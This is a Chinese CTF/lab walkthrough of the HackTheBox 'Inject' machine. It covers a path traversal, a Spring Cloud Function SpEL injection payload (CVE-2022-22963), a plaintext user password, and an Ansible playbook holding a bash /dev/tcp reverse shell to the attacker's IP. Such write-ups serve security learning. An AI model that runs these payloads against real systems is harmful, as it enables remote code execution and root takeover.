nmap搜集
└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.204
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-16 08:29 CST
Nmap scan report for 10.10.11.204
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.55 seconds
在右上角发现了upload功能,上传一个图片后,发现了图片的加载方式是
http://10.10.11.204:8080/show_image?img=1j.jpg
放到burp尝试目录穿越,使用../总是500错误,进行urlencode编码一下,读取到了/etc/passwd
发现了可以登录的账户,phil 、 frank。
Spring Cloud Function SpEL表达式注入
读取pom.xml后发现,spring-cloud-function-web的版本是存在rce漏洞的。
参考文章后知道了该漏洞利用方式。发送payload,回显成功。
参考链接
https://github.com/dinosn/CVE-2022-22963
https://www.akamai.com/zh/blog/security/spring-cloud-function
https://cloud.tencent.com/developer/article/2200029
https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1
burp发包检测漏洞是否存在,payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("curl 10.10.16.3")
poc验证成功。使用这个脚本,反弹shell
https://github.com/sv3nbeast/Spring-cloud-function-SpEL-RCE-1
提权
当前的用户是frank。在/home/frank/.m2/setting.xml 中发现了phil的密码,切换用户登录
DocPhillovestoInject123
切换phil用户
frank@inject:~$ su phil
su phil
Password: DocPhillovestoInject123
phil@inject:/home/frank$ whoami
whoami
phil
查找特权文件,没什么发现
find / -user root -perm -4000 -print 2> /dev/null
/usr/bin/su
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
运行一下linpeas脚本,发现了一些特殊文件。应该是自动任务的文件
phil@inject:/opt/automation/tasks$ cat play*
cat play*
- hosts: localhost
tasks:
- name: Checking webapp service
ansible.builtin.systemd:
name: webapp
enabled: yes
state: started
经搜索得知这是 ansible playbook,一种自动化任务,所以自行编写一个反弹 shell 的 playbook 并执行它:
---
- hosts: localhost
become: yes
become_user: root
become_method: su
tasks:
- name: getroot
shell: bash -c 'exec bash -i &>/dev/tcp/10.10.16.3/4444 <&1'
参数解释 become: yes #是否允许身份切换 become_method: su #切换用户身份的方式,有sudo、su、pbrun等方式,默认为sudo become_user: root #切换指定的用户
phil 用户执行命令ansible-playbook 1.yml可以直接拿到 root 的 shell。
原文始发于微信公众号(靶机狂魔):靶机——inject
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论